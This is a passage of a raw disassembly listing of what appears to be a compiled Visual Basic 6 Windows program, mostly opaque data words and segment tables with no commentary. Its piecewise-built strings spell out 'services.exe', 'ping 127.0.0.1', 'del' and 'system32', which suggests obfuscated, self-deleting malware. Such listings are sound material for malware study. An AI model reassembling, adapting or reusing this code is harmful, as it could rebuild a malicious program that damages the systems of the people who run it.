4DF500h, 5C040000h, 0C0AFFh, 5C040008h dd 53F5FFh, 4C040000h, 0C0AFFh, 4C040008h, 2CEFFBFFh, 57F5FFh dd 4040000h, 0C0AFFh, 4040008h, 0E4EFFBFFh, 49F5FEh, 0C4040000h dd 0C0AFEh, 0C4040008h, 0B4EFFBFEh, 4EF5FEh, 90040000h dd 0C0AFDh, 90040008h, 80EFFBFDh, 53F5FDh, 70040000h, 0C0AFDh dd 70040008h, 60EFFBFDh, 43F5FDh, 50040000h, 0C0AFDh, 50040008h dd 40EFFBFDh, 4BF5FDh, 30040000h, 0C0AFDh, 30040008h, 20EFFBFDh dd 2EF5FDh, 10040000h, 0C0AFDh, 10040008h, 0EFFBFDh, 4FF5FDh dd 0F0040000h, 0C0AFCh, 0F0040008h, 0E0EFFBFCh, 43F5FCh dd 0D0040000h, 0C0AFCh, 0D0040008h, 0C0EFFBFCh, 58F5FCh dd 0B0040000h, 0C0AFCh, 0B0040008h, 0A0EFFBFCh, 0B02360FCh dd 808FEh, 3491FDh, 36FEB02Fh, 0FF5C002Eh, 0FF2CFF4Ch dd 0FEE4FF04h, 0FEB4FEC4h, 0FD80FD90h, 0FD60FD70h, 0FD40FD50h dd 0FD20FD30h, 0FD00FD10h, 0FCE0FCF0h, 0FCC0FCD0h, 0FCA0FCB0h dd 73F50102h, 4000000h, 0C0AFF5Ch, 4000800h, 65F5FF5Ch dd 4000000h, 0C0AFF4Ch, 4000800h, 0EFFBFF4Ch, 72F5FF2Ch dd 4000000h, 0C0AFF04h, 4000800h, 0EFFBFF04h, 76F5FEE4h dd 4000000h, 0C0AFEC4h, 4000800h, 0EFFBFEC4h, 69F5FEB4h dd 4000000h, 0C0AFD90h, 4000800h, 0EFFBFD90h, 63F5FD80h dd 4000000h, 0C0AFD70h, 4000800h, 0EFFBFD70h, 65F5FD60h dd 4000000h, 0C0AFD50h, 4000800h, 0EFFBFD50h, 73F5FD40h dd 4000000h, 0C0AFD30h, 4000800h, 0EFFBFD30h, 2EF5FD20h dd 4000000h, 0C0AFD10h, 4000800h, 0EFFBFD10h, 65F5FD00h dd 4000000h, 0C0AFCF0h, 4000800h, 0EFFBFCF0h, 78F5FCE0h dd 4000000h, 0C0AFCD0h, 4000800h, 0EFFBFCD0h, 65F5FCC0h dd 4000000h, 0C0AFCB0h, 4000800h, 0EFFBFCB0h, 2360FCA0h dd 808FEB0h, 3891FD00h, 0FEB02F00h, 5C002E36h, 2CFF4CFFh dd 0E4FF04FFh, 0B4FEC4FEh, 80FD90FEh, 60FD70FDh, 40FD50FDh dd 20FD30FDh, 0FD10FDh, 0E0FCF0FDh, 0C0FCD0FCh, 0A0FCB0FCh dd 0F50202FCh, 0 dd 31F5h, 0FC800400h, 18EFEh, 100000h, 3C280880h, 0F50026FFh dd 0 dd 52FC806Ch, 7EFF1428h, 1F500h, 806C0000h, 0F42852FCh dd 0F500CCFEh, 2, 52FC806Ch, 4AFED428h, 3F500h, 806C0000h dd 702852FCh, 0F50045FCh, 4, 52FC806Ch, 0E6FC6028h, 5F500h dd 806C0000h, 502852FCh, 0F5007AFCh, 6, 52FC806Ch, 0C7FC4028h dd 7F500h, 806C0000h, 302852FCh, 0F5007AFCh, 8, 52FC806Ch dd 80FC2028h, 9F500h, 806C0000h, 102852FCh, 0F50044FCh dd 0Ah, 52FC806Ch, 0EAFC0028h, 0BF500h, 806C0000h, 0F02852FCh dd 0F500D3FBh, 0Ch, 52FC806Ch, 6EFBE028h, 0DF500h, 806C0000h dd 0D02852FCh, 0F500CCFBh, 0Eh, 52FC806Ch, 99FBC028h, 0FF500h dd 806C0000h, 0B02852FCh, 0F5002EFBh, 10h, 52FC806Ch, 6BFBA028h dd 11F500h, 806C0000h, 902852FCh, 0F500F6FBh, 12h, 52FC806Ch dd 0FAFB8028h, 13F500h, 806C0000h, 702852FCh, 0F500A8FBh dd 14h, 52FC806Ch, 68FB6028h, 15F500h, 806C0000h, 502852FCh dd 0F500FBFBh, 16h, 52FC806Ch, 35FB4028h, 17F500h, 806C0000h dd 302852FCh, 0F50058FBh, 18h, 52FC806Ch, 76FB2028h, 19F500h dd 806C0000h, 102852FCh, 0F500BBFBh, 1Ah, 52FC806Ch, 7BFB0028h dd 1BF500h, 806C0000h, 0F02852FCh, 0F5003CFAh, 1Ch, 52FC806Ch dd 0E6FAE028h, 1DF500h, 806C0000h, 0D02852FCh, 0F50051FAh dd 1Eh, 52FC806Ch, 47FAC028h, 1FF500h, 806C0000h, 0B02852FCh dd 0F50073FAh, 20h, 52FC806Ch, 0AFFAA028h, 21F500h, 806C0000h dd 902852FCh, 0F500E8FAh, 22h, 52FC806Ch, 0E3FA8028h, 23F500h dd 806C0000h, 702852FCh, 0F500ADFAh, 24h, 52FC806Ch, 11FA6028h dd 25F500h, 806C0000h, 502852FCh, 0F500D4FAh, 26h, 52FC806Ch dd 2FFA4028h, 27F500h, 806C0000h, 302852FCh, 0F500E0FAh dd 28h, 52FC806Ch, 78FA2028h, 29F500h, 806C0000h, 102852FCh dd 0F500DCFAh, 2Ah, 52FC806Ch, 9EFA0028h, 2BF500h, 806C0000h dd 0F02852FCh, 0F5003EF9h, 2Ch, 52FC806Ch, 0A3F9E028h dd 2DF500h, 806C0000h, 0D02852FCh, 0F500D6F9h, 2Eh, 52FC806Ch dd 81F9C028h, 2FF500h, 806C0000h, 0B02852FCh, 0F50063F9h dd 30h, 52FC806Ch, 6F9A028h, 31F500h, 806C0000h, 800452FCh dd 0FF5C04FCh, 800130Ah, 0FC800400h, 0FF5C045Ah, 0FC84F6FCh dd 0B0044100h, 0FF7804FEh, 24000005h, 140D0001h, 8000200h dd 580DFF78h, 3E000300h, 5C46FEB0h, 0FF4C04FFh, 800140Ah dd 0FF4C0400h, 15FF3C3Ah, 33FB5D00h, 36FF781Ah, 0FF5C0004h dd 0A71CFF4Ch, 0F407000Ah, 0F99870FFh, 0AB01Eh, 0F4070002h dd 0F9987000h, 0A000200h, 0F5h, 0FF707100h, 0FFF50A00h dd 71FFFFFFh, 1900F974h, 0F5h, 0F500h, 94040000h, 18EFEFCh dd 1001100h, 8000h, 65F515h, 74040000h, 12CF5FFh, 64FE0000h dd 0BD9F96Ch, 5C043000h, 0FF143AFFh, 6C250016h, 69FDFF74h dd 525FF3Ch, 1240000h, 380D00h, 5C040002h, 6860FCFFh, 0F96804F9h dd 0FFFC9404h, 0FF5C3501h, 746C0E00h, 0FFFFF5F9h, 1CC7FFFFh dd 0A000B3Fh, 0F5h, 0F9747100h, 0B531Eh, 6C120002h, 1F4FC9Ch dd 1F5CBFCh, 0AA000000h, 0F97471h, 6C160002h, 946CFF70h dd 0FC01F4FCh, 1F5AACBh, 0AA000000h, 0FF7071h, 0F51Dh dd 706C0000h, 1F5FFh, 4AE0000h, 8FFEFC9Ch, 110001h, 800001h dd 746C4700h, 0FC9C6CF9h, 40F9642Eh, 400175Eh, 0FEAC7100h dd 0F5F9642Dh, 0 dd 2EFC946Ch, 5E40F960h, 40017h, 2DF95C71h, 946CF960h dd 0FC01F4FCh, 1F5CBh, 6CAA0000h, 0AC6CF95Ch, 180AFEh dd 3C000Ch, 0FF74040Ah, 0F4F96C66h, 0F50A000Ah, 0 dd 0FF7071h, 0FFFFF50Ah, 7471FFFFh, 0F51900F9h, 0 dd 0F5h, 0FC940400h, 18EFEh, 10011h, 15000080h, 12DF5h dd 0FF740400h, 1F4F5h, 5464FE00h, 0D00F9h, 0FF5C0430h dd 16FF143Ah, 746C2500h, 3C69FDFFh, 525FFh, 12400h, 200380Dh dd 0FF5C0400h, 0F96860FCh, 4F96804h, 1FFFC94h, 0FF5C35h dd 0F9746C0Eh, 0FFFFFFF5h, 661CC7FFh, 0F50A000Ch, 0 dd 1EF97471h, 2000C7Ah, 986C1200h, 0FC01F4FCh, 1F5CBh dd 71AA0000h, 200F974h, 706C1600h, 0FC946CFFh, 0CBFC01F4h dd 1F5AAh, 71AA0000h, 1D00FF70h, 0F5h, 0FF706C00h, 1F5h dd 9804AE00h, 18FFEFCh, 1001100h, 8000h, 0F9746C47h, 2EFC986Ch dd 5E40F964h, 40017h, 2DFEAC71h, 0F5F964h, 6C000000h, 602EFC94h dd 175E40F9h, 71000400h, 602DF95Ch, 0FC946CF9h, 0CBFC01F4h dd 1F5h, 5C6CAA00h, 0FEAC6CF9h, 0C00180Ah, 0A003C00h, 66FF7404h dd 0C1BF954h, 0F52D00h, 4000000h, 0C0AFF5Ch, 4000800h dd 0F5FF5Ch, 4000001h, 0D0AFF4Ch, 4000C00h, 3160FF4Ch dd 436F984h, 4CFF5C00h, 0F50302FFh, 53h, 0AFF5C04h, 8000Ch dd 79F5h, 0FF4C0400h, 8000C0Ah, 73F500h, 4040000h, 0C0AFFh dd 74F50008h, 4000000h, 0C0AFEC4h, 0F5000800h, 65h, 0AFD9004h dd 8000Ch, 6DF5h, 0FD700400h, 8000C0Ah, 52F500h, 50040000h dd 0C0AFDh, 6FF50008h, 4000000h, 0C0AFD30h, 0F5000800h dd 6Fh, 0AFD1004h, 8000Ch, 74F5h, 0FCF00400h, 8000C0Ah dd 100F500h, 846C0000h, 0FE8804F9h, 0FE886C34h, 4FF5C04h dd 0EFFBFF4Ch, 404FF2Ch, 0E4EFFBFFh, 0FEC404FEh, 0FEB4EFFBh dd 0FBFD9004h, 4FD80EFh, 0EFFBFD70h, 5004FD60h, 40EFFBFDh dd 0FD3004FDh, 0FD20EFFBh, 0FBFD1004h, 4FD00EFh, 0EFFBFCF0h dd 0FEFDFCE0h, 8C04FEB0h, 8C6C34FEh, 0E5EFEh, 0AC71000Ch dd 886C3CFEh, 0F98404FEh, 0AC6C58FCh, 0F98404FEh, 8FF3C4Dh dd 0FCD00440h, 0C000F0Ah, 0FCD00400h, 0F9843160h, 0B0000632h dd 88FE8CFEh, 2836FEh, 0FF4CFF5Ch, 0FF04FF2Ch, 0FEC4FEE4h dd 0FD90FEB4h, 0FD70FD80h, 0FD50FD60h, 0FD30FD40h, 0FD10FD20h dd 0FCF0FD00h, 0FCD0FCE0h, 1F57500h, 4000000h, 3C4DF984h dd 44008FFh, 190AFF5Ch, 0F5000C00h, 5Ch, 0AFF4C04h, 8000Ch dd 46F9846Ch, 5CF5FF14h, 4000000h, 0C0AFF04h, 4000800h dd 0EFFBFF04h, 8404FEE4h, 0FEF44DF9h, 5C044008h, 0FF4C04FFh dd 0FF2C2FFBh, 0FEC4F6FCh, 4FEC404h, 1A0AFEB4h, 4001000h dd 3160FEB4h, 0C36F984h, 4CFF5C00h, 0C4FF04FFh, 0B4FEE4FEh dd 6C0C00FEh, 1B1BF984h, 88312A00h, 6CE700F9h, 3C46F984h dd 73F5FFh, 5C040000h, 0C0AFFh, 5C040008h, 4CEFFBFFh, 79F5FFh dd 2C040000h, 0C0AFFh, 2C040008h, 4EFFBFFh, 73F5FFh, 0E4040000h dd 0C0AFEh, 0E4040008h, 0C4EFFBFEh, 74F5FEh, 0B4040000h dd 0C0AFEh, 0B4040008h, 90EFFBFEh, 65F5FDh, 80040000h dd 0C0AFDh, 80040008h, 70EFFBFDh, 6DF5FDh, 60040000h, 0C0AFDh dd 60040008h, 50EFFBFDh, 33F5FDh, 40040000h, 0C0AFDh, 40040008h dd 30EFFBFDh, 32F5FDh, 20040000h, 0C0AFDh, 20040008h, 10EFFBFDh dd 5CF5FDh, 40000h, 0C0AFDh, 40008h, 0F0EFFBFDh, 843160FCh dd 2436F9h, 0FF4CFF5Ch, 0FF04FF2Ch, 0FEC4FEE4h, 0FD90FEB4h dd 0FD70FD80h, 0FD50FD60h, 0FD30FD40h, 0FD10FD20h, 0FCF0FD00h dd 0A2044200h, 0F9886CFDh, 8A000808h, 232A0038h, 10FEB0h dd 6B001207h, 1F5FDA2h, 0B000000h, 1Ch, 1BFE8C23h, 0F5001Dh dd 0FE000000h, 0F5FDh, 0C4C70000h, 0B0000432h, 1CFE8CFEh dd 28001056h, 8F9886Ch, 388A0008h, 0B0232A00h, 1E5EFEh dd 986C0004h, 0FC01F4FCh, 1F5CBh, 0CCAA0000h, 1CFEB02Fh dd 7001048h, 9A70FFF4h, 10511EF9h, 7000200h, 9A7000F4h dd 1E0200F9h, 200106Ch, 0FFF40700h, 0F99A70h, 0FF5C040Dh dd 12070410h, 0FF5C3500h, 7000200h, 9C70FFF4h, 42000F9h dd 846CFDA2h, 808F9h, 2A00348Ah, 10FEB023h, 120700h, 2FFDA26Bh dd 0E61CFEB0h, 6C220010h, 808F984h, 348A00h, 0FEB0232Ah dd 4001E5Eh, 0FC9C6C00h, 0CBFC01F4h, 0FEB02FD1h, 10D81Ch dd 0F9846C17h, 8A000808h, 462A0034h, 1F0AFF5Ch, 35000400h dd 700FF5Ch, 9C70FFF4h, 10E11EF9h, 7000200h, 9C7000F4h dd 1E0200F9h, 20010EFh, 0FFF40700h, 0F99C70h, 6B080002h dd 231CF99Ch, 27100012h, 200BFF5Ch, 70000400h, 5C35F99Eh dd 6C1B00FFh, 808F984h, 348A00h, 0FEB0232Ah, 0F4F99E6Bh dd 205DFEFFh, 0FEB02F00h, 0FFF50A00h, 71FFFFFFh, 1700FF70h dd 0F5h, 0FF740400h, 0F4FC9C6Ch, 0FECBFC01h, 1CF94C64h dd 6C0E0012h, 1F5FF70h, 0AA000000h, 0FF7071h, 0FF706C0Eh dd 32F5h, 6B1CC700h, 0F50A0011h, 0 dd 0FF7071h, 0FF746C31h, 0FCFC9C6Ch, 4414FC90h, 7004FF14h dd 393FDFFh, 0FC840440h, 0FF5CAEFEh, 9CFB0001h, 0F428FF4Ch dd 5D0000FEh, 5C3567FBh, 11D91CFFh, 9E6B3A00h, 0FF746CF9h dd 0FCFC9C6Ch, 0F314FC90h, 44A90100h, 7004FEF4h, 393FDFFh dd 0FC840440h, 0FF5CAEFEh, 9CFB0001h, 44FCFF4Ch, 0FDA2C2FDh dd 1F5h, 3577FC00h, 101EFF5Ch, 20012h, 0F99E6B35h, 6CFF746Ch dd 90FCFC9Ch, 0FEF467FDh, 0FDFF7004h, 4400393h, 0AEFEFC84h dd 1FF5Ch, 0FF4C9CFBh, 0C2FD44FCh, 1F5FDA2h, 0FC000000h dd 0FF5C3577h, 0A000200h, 66FF7404h, 1145F94Ch, 9E6B0700h dd 3DFDF9h, 0F5290002h, 0 dd 6C00211Bh, 232AF984h, 808FEB0h, 348A00h, 0FF5C462Ah dd 800220Ah, 0F9907400h, 35FEB02Fh, 1F00FF5Ch, 0E8F9906Fh dd 0F5h, 400F500h, 235E0000h, 71000C00h, 6C3CFEACh, 8C71FEACh dd 0F51000F9h, 0FFFFFFFFh, 0AF98C6Ch, 80024h, 6C0B003Ch dd 250AF98Ch, 3C000400h, 9A6B0800h, 14021CF9h, 0A2042000h dd 0F9886CFDh, 8A000808h, 232A0038h, 10FEB0h, 6B001207h dd 0B02FFDA2h, 12CA1CFEh, 886C1700h, 808F9h, 2A00388Ah dd 0AFF5C46h, 4001Fh, 1EFF5C35h, 20012D6h, 886C0A00h, 260AF9h dd 2000004h, 5C271000h, 200BFFh, 9E700004h, 0FF5C35F9h dd 886C1B00h, 808F9h, 2A00388Ah, 6BFEB023h, 0FFF4F99Eh dd 205DFEh, 0FEB02Fh, 0FFFFF50Ah, 7071FFFFh, 0F51700FFh dd 0 ; --------------------------------------------------------------------------- add al, 74h jmp fword ptr [eax+ebx*4-4] ; --------------------------------------------------------------------------- dw 1F4h ; --------------------------------------------------------------------------- cld retf ; --------------------------------------------------------------------------- dw 64FEh dd 13FBF944h, 706C0E00h, 1F5FFh, 71AA0000h, 0E00FF70h dd 0F5FF706Ch, 32h, 134A1CC7h, 0F50A00h, 71000000h, 3100FF70h dd 6CFF746Ch, 90FCFC98h, 144414FCh, 0FF7004FFh, 400393FDh dd 0FEFC8404h, 1FF5CAEh, 4C9CFB00h, 0FEF428FFh, 0FB5D0000h dd 0FF5C3567h, 13B81Ch, 0F99E6B3Ah, 6CFF746Ch, 90FCFC98h dd 0F314FCh, 0F444A901h, 0FF7004FEh, 400393FDh, 0FEFC8404h dd 1FF5CAEh, 4C9CFB00h, 0FD44FCFFh, 0F5FDA2C2h, 1, 5C3577FCh dd 13EF1EFFh, 35000200h, 6CF99E6Bh, 986CFF74h, 0FD90FCFCh dd 4FEF467h, 93FDFF70h, 84044003h, 5CAEFEFCh, 0FB0001FFh dd 0FCFF4C9Ch, 0A2C2FD44h, 1F5FDh, 77FC0000h, 0FF5C35h dd 40A0002h, 4466FF74h, 1324F9h, 0F99E6B07h, 2003DFDh dd 5C041D00h, 0F9886CFFh, 8A000808h, 232A0038h, 0F810FEB0h dd 2F001206h, 5C35FEB0h, 0F51C00FFh, 2, 8F9886Ch, 388A0008h dd 0B0232A00h, 270AFEh, 0B02F0008h, 0F51F00FEh, 0 dd 8F9886Ch, 388A0008h, 5C462A00h, 220AFFh, 3C740008h dd 0FF5C35F9h, 0B0040402h, 0FF7804FEh, 24000005h, 140D0001h dd 8000200h, 500DFF78h, 0F5000300h, 1, 46FEB03Eh, 4C04FF5Ch dd 190AFFh, 8C04000Ch, 0F93404FEh, 24000005h, 140D0001h dd 8000200h, 500DF934h, 4000300h, 3004FE88h, 5F9h, 0D000124h dd 20014h, 0DF93008h, 30050h, 4AFE886Ch, 1F5h, 8C3EAE00h dd 0FF0446FEh, 0AFEE404h, 0C000Fh, 4F92804h, 5F92Ch, 12400h dd 200140Dh, 0F92C0800h, 300500Dh, 0F9283E00h, 4FEB446h dd 4C04FEE4h, 0FF3C3AFFh, 0FB5D0028h, 0FCFF2C2Fh, 4FEC4F6h dd 9004FEC4h, 1A0AFDh, 90040010h, 0FF143AFDh, 0EFFB0028h dd 2004FD80h, 0F92404F9h, 24000005h, 140D0001h, 8000200h dd 580DF924h, 3E000300h, 7046F920h, 60EFFBFDh, 0FEF43AFDh dd 0EFFB0029h, 3160FD50h, 882FF938h, 0A29FEh, 0F934FF78h dd 0F92CF930h, 1636F924h, 4CFF5C00h, 0C4FF04FFh, 0B4FEE4FEh dd 80FD90FEh, 60FD70FDh, 0FD50FDh, 0F9986B08h, 19BB1Ch dd 0FF3C3A28h, 5C4E0005h, 0FF5C04FFh, 100F5h, 0FF4C0400h dd 0C000D0Ah, 0FF4C0400h, 0F91C3160h, 5C000436h, 0FF4CFFh dd 0F91C6C42h, 34FEB004h, 0F5FEB06Ch, 100h, 8002A5Eh, 0FEAC7100h dd 0FEB06C3Ch, 0FCF91C04h, 0FEAC6C58h, 4DF91C04h, 4008FF3Ch dd 0AFF5C04h, 0C000Fh, 60FF5C04h, 2FF91C31h, 5C35FEB0h dd 0F5BD00FFh, 1, 4DF91C04h, 4008FF3Ch, 0AFF5C04h, 0C0019h dd 4AF91C6Ch, 1F5h, 1C04AE00h, 0FEF44DF9h, 2C044008h, 0F0AFFh dd 0B427000Ch, 2B0AFEh, 0AC730004h, 0F91C04FEh, 8FED44Dh dd 0FF2C0440h, 3AFF5C04h, 28FF14h, 4C2FFB5Dh, 4F6FCFFh dd 0FF0404FFh, 0AFEE404h, 10001Ah, 3AFEE404h, 2CFC70h dd 0FEC4EFFBh, 0F5h, 0FFFFF500h, 1F5FFFFh, 1B000000h, 2D1B0009h dd 0FEAC6E00h, 0B023FFFBh, 2E0BFEh, 90460018h, 80EFFBFDh dd 0FC503AFDh, 0EFFB002Fh, 3160FD70h, 0B02FF91Ch, 1236FEh dd 0FF04FF5Ch, 0FEE4FF2Ch, 0FEC4FEB4h, 0FD80FD90h, 1000FD70h dd 0BFF5C27h, 40020h, 35F99E70h, 0D00FF5Ch, 0AFF5C27h dd 40030h, 2FF5C35h, 70F505h, 5C040000h, 0C0AFFh, 5C040008h dd 69F5FFh, 4C040000h, 0C0AFFh, 4C040008h, 2CEFFBFFh, 6EF5FFh dd 4040000h, 0C0AFFh, 4040008h, 0E4EFFBFFh, 67F5FEh, 0C4040000h dd 0C0AFEh, 0C4040008h, 0B4EFFBFEh, 20F5FEh, 90040000h dd 0C0AFDh, 90040008h, 80EFFBFDh, 31F5FDh, 70040000h, 0C0AFDh dd 70040008h, 60EFFBFDh, 32F5FDh, 50040000h, 0C0AFDh, 50040008h dd 40EFFBFDh, 37F5FDh, 30040000h, 0C0AFDh, 30040008h, 20EFFBFDh dd 2EF5FDh, 10040000h, 0C0AFDh, 10040008h, 0EFFBFDh, 30F5FDh dd 0F0040000h, 0C0AFCh, 0F0040008h, 0E0EFFBFCh, 2EF5FCh dd 0D0040000h, 0C0AFCh, 0D0040008h, 0C0EFFBFCh, 30F5FCh dd 0B0040000h, 0C0AFCh, 0B0040008h, 0A0EFFBFCh, 2EF5FCh dd 8040000h, 0C0AF9h, 8040008h, 0F8EFFBF9h, 31F5F8h, 0E8040000h dd 0C0AF8h, 0E8040008h, 0D8EFFBF8h, 0FF3C3AF8h, 0EFFB0031h dd 3160F8C8h, 3836F918h, 4CFF5C00h, 4FF2CFFh, 0C4FEE4FFh dd 90FEB4FEh, 70FD80FDh, 50FD60FDh, 30FD40FDh, 10FD20FDh dd 0F0FD00FDh, 0D0FCE0FCh, 0B0FCC0FCh, 8FCA0FCh, 0E8F8F8F9h dd 0C8F8D8F8h, 0F5AA00F8h, 64h, 0AFF5C04h, 8000Ch, 0F5FF5C04h dd 65h, 0AFF4C04h, 8000Ch, 0FBFF4C04h, 0F5FF2CEFh, 6Ch dd 0AFF0404h, 8000Ch, 0FBFF0404h, 0F5FEE4EFh, 20h, 0AFEC404h dd 8000Ch, 0FBFEC404h, 0F5FEB4EFh, 22h, 0AFD9004h, 8000Ch dd 0FBFD9004h, 6CFD80EFh, 3C46F938h, 70EFFBFFh, 22F5FDh dd 60040000h, 0C0AFDh, 60040008h, 50EFFBFDh, 0FF143AFDh dd 0EFFB0031h, 3160FD40h, 1A36F918h, 4CFF5C00h, 4FF2CFFh dd 0C4FEE4FFh, 90FEB4FEh, 70FD80FDh, 50FD60FDh, 0FD40FDh dd 0F9186CB6h, 0F5FF3C46h, 64h, 0AFF5C04h, 8000Ch, 0FBFF5C04h dd 0F5FF4CEFh, 65h, 0AFF2C04h, 8000Ch, 0FBFF2C04h, 0F5FF04EFh dd 6Ch, 0AFEE404h, 8000Ch, 0FBFEE404h, 0F5FEC4EFh, 20h dd 0AFEB404h, 8000Ch, 0FBFEB404h, 0F5FD90EFh, 22h, 0AFD8004h dd 8000Ch, 0FBFD8004h, 6CFD70EFh, 1446F91Ch, 60EFFBFFh dd 22F5FDh, 50040000h, 0C0AFDh, 50040008h, 40EFFBFDh, 0FEF43AFDh dd 0EFFB0031h, 3160FD30h, 1C36F918h, 4CFF5C00h, 4FF2CFFh dd 0C4FEE4FFh, 90FEB4FEh, 70FD80FDh, 50FD60FDh, 30FD40FDh dd 6C0E00FDh, 9E6BF91Ch, 0FEFFF4F9h, 25Dh, 0F9186C0Eh dd 0FFF99E6Bh, 0C00320Eh, 6B070000h, 3DFDF99Eh, 0F51700h dd 4000000h, 3C4DF91Ch, 0A4008FFh, 80022h, 0F93C74h, 6C170002h dd 9CFD0008h, 5FF78h, 12400h, 200100Dh, 0FF781A00h, 0FE4B0500h dd 130000FFh off_405AFC dd offset dword_401768+4 ; DATA XREF: .text:00401920o ; .text:00401A1Do dd 6B40004h, 10C19DCh, 0 db 0CCh db 1, 13h, 0 dd 0 dd 0F2h, 120000h, 10000000h, 3069FDE8h, 0FFFF0000h, 401C84h dd 4 dup(0) dd 3069FDA4h, 0FFFF0000h, 401C84h, 4 dup(0) dd 2001F918h, 0FFFF0000h, 2009FE70h, 0FFFF0000h, 5 dup(0) dd 2001F91Ch, 0FFFF0000h, 2001F984h, 0FFFF0000h, 2001F988h dd 0FFFF0000h, 2105FC94h, 0FFFF0000h, 0FC9C0000h, 2105h dd 0FFFFh, 2105FC98h, 0FFFF0000h, 0FC840000h, 2002h, 0FE98FFFFh dd 2001h, 0FF24FFFFh, 2001h, 0FE2CFFFFh, 2069h, 1C84FFFFh dd 40h, 3 dup(0) dd 0FE9C0000h, 2002h, 0F938FFFFh, 2001h, 0FF28FFFFh, 2001h dd 0F978FFFFh, 2001h, 0FFFFh, 0C0h, 2A0000h, 0 dd 6F964h, 6F960h, 1FEB0h, 1FE8Ch, 1FE88h, 1F928h, 1F920h dd 3FF78h, 3F934h, 3F930h, 3F92Ch, 3F924h, 2FF5Ch, 2FF4Ch dd 2FF2Ch, 2FF04h, 2FEE4h, 2FEC4h, 2FEB4h, 2FD90h, 2FD80h dd 2FD70h, 2FD60h, 2FD50h, 2FD40h, 2FD30h, 2FD20h, 2FD10h dd 2FD00h, 2FCF0h, 2FCE0h, 2FCD0h, 2FCC0h, 2FCB0h, 2FCA0h dd 2F908h, 2F8F8h, 2F8E8h, 2F8D8h, 2F8C8h, 105FC80h, 0 dd 0F9680002h, 105h, 0 dd 12D0006h, 2EB012Dh, 11B013Fh, 15Eh, 2 dup(0CCCCCCCCh) dword_405CE0 dd 0E9E9E9E9h, 3 dup(0CCCCCCCCh)dword_405CF0 dd 9E9E9E9Eh, 5D1Ch, 2 dup(0FFFFFFFFh), 5DA0h, 1000h, 5 dup(0) ; DATA XREF: .text:00401540o dd 5DAEh, 80000206h, 8000029Dh, 80000251h, 80000252h, 800002C5h dd 80000278h, 5DC0h, 80000211h, 5DD4h, 8000029Eh, 5DE6h dd 80000258h, 80000259h, 5DFCh, 5E18h, 800002C7h, 800002C8h dd 8000025Fh, 80000260h, 80000213h, 80000217h, 80000284h dd 80000285h, 80000288h, 800002A9h, 800002ADh, 80000242h dd 80000064h, 80000269h, 8000026Bh, 80000244h, 0 dd 4256534Dh, 30364D56h, 4C4C442Eh, 0 aMethcallengine db 'MethCallEngine',0 align 10h db 0 align 2 aEvent_sink_add db 'EVENT_SINK_AddRef',0 dd 6C440000h, 6E75466Ch, 6F697463h, 6C61436Eh, 6Ch aEvent_sink_rel db 'EVENT_SINK_Release',0 align 4 db 0 align 2 aEvent_sink_que db 'EVENT_SINK_QueryInterface',0 db 0 align 2 a__vbaexcepthan db '__vbaExceptHandler',0 align 10h dd 74h dup(?) _text ends ; Section 2. (virtual address 00006000) ; Virtual size : 00001228 ( 4648.) ; Section size in file : 00001228 ( 4648.) ; Offset to raw data for section: 00006000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 406000h dword_406000 dd 14B610h, 4 dup(0)dword_406014 dd 14B680h, 4 dup(0)dword_406028 dd 0 dd 1, 400000h, 0 aSCs db '˜°Cs',0 ; DATA XREF: .text:00401A90o ; .data:004062A0o align 10h dd 0 dd offset unk_401A8C dd 84h dup(0) aICs db '¨°Cs',0 align 10h dd 0 dd offset off_406288 dd 7 dup(0) dd offset dword_401530 off_406288 dd offset aCs ; DATA XREF: .data:00406264o ; "À°Cs" dd offset aCs_0 ; "À°Cs" aCs db 'À°Cs',0 ; DATA XREF: .data:off_406288o align 10h dd offset aSCs ; "˜°Cs" align 8 dd offset dword_401768+4 aCs_1 db 'аCs',0 align 4 dd 0FFFFh, 7343B130h, 5 dup(0) aCs_0 db 'À°Cs',0 ; DATA XREF: .data:0040628Co align 4 dd 0 dd 1, 406038h, 0 dd offset dword_4013F0+4 aCs_2 db 'аCs',0 align 4 dd 0FFFFh, 7343B130h, 10h dup(0) dword_40633C dd 0 dd 2 dup(0) dword_406348 dd 0 dd 2 dup(0) dword_406354 dd 0 align 10h dword_406360 dd 0 dd 2 dup(0) dword_40636C dd 0 dd 2 dup(0) dword_406378 dd 0 dd 2 dup(0) dword_406384 dd 0 align 10h dword_406390 dd 0 dd 2 dup(0) dword_40639C dd 0 dd 2 dup(0) dword_4063A8 dd 0 dd 2 dup(0) dword_4063B4 dd 0 align 10h dword_4063C0 dd 0 dd 2 dup(0) dword_4063CC dd 0 dd 2 dup(0) dword_4063D8 dd 0 dd 2 dup(0) dword_4063E4 dd 0 align 10h dword_4063F0 dd 0 dd 2 dup(0) dword_4063FC dd 0 dd 0 dword_406404 dd 1C4h dup(0) dd offset dword_401768+4 dd 734311C2h, 7343118Eh, 7343958Fh, 734F64B9h, 734F64C8h dd 73449DE6h, 7344A0A2h, 73521754h, 7352175Ch, 73521764h dd 7352176Ch, 73521774h, 7352177Ch, 73521784h, 7352178Ch dd 73521794h, 7352179Ch, 735217A4h, 735217ACh, 735217B4h dd 735217BCh, 735217C4h, 735217CCh, 735217D4h, 735217DCh dd 735217E4h, 735217ECh, 735217F4h, 735217FCh, 73521804h dd 7352180Ch, 73521814h, 7352181Ch, 73521824h, 7352182Ch dd 73521834h, 7352183Ch, 73521844h, 7352184Ch, 73521854h dd 7352185Ch, 73521864h, 7352186Ch, 73521874h, 7352187Ch dd 73521884h, 7352188Ch, 73521894h, 7352189Ch, 735218A4h dd 735218ACh, 735218B4h, 735218BCh, 735218C4h, 735218CCh dd 735218D4h, 735218DCh, 735218E4h, 735218ECh, 735218F4h dd 735218FCh, 73521904h, 7352190Ch, 73521914h, 7352191Ch dd 73521924h, 7352192Ch, 73521934h, 7352193Ch, 73521944h dd 7352194Ch, 73521954h, 7352195Ch, 73521964h, 7352196Ch dd 73521974h, 7352197Ch, 73521984h, 7352198Ch, 73521994h dd 7352199Ch, 735219A4h, 735219ACh, 735219B4h, 735219BCh dd 735219C4h, 735219CCh, 735219D4h, 735219DCh, 735219E4h dd 735219ECh, 735219F4h, 735219FCh, 73521A04h, 73521A0Ch dd 73521A14h, 73521A1Ch, 73521A24h, 73521A2Ch, 73521A34h dd 73521A3Ch, 73521A44h, 73521A4Ch, 73521A54h, 73521A5Ch dd 73521A64h, 73521A6Ch, 73521A74h, 73521A7Ch, 73521A84h dd 73521A8Ch, 73521A94h, 73521A9Ch, 73521AA4h, 73521AACh dd 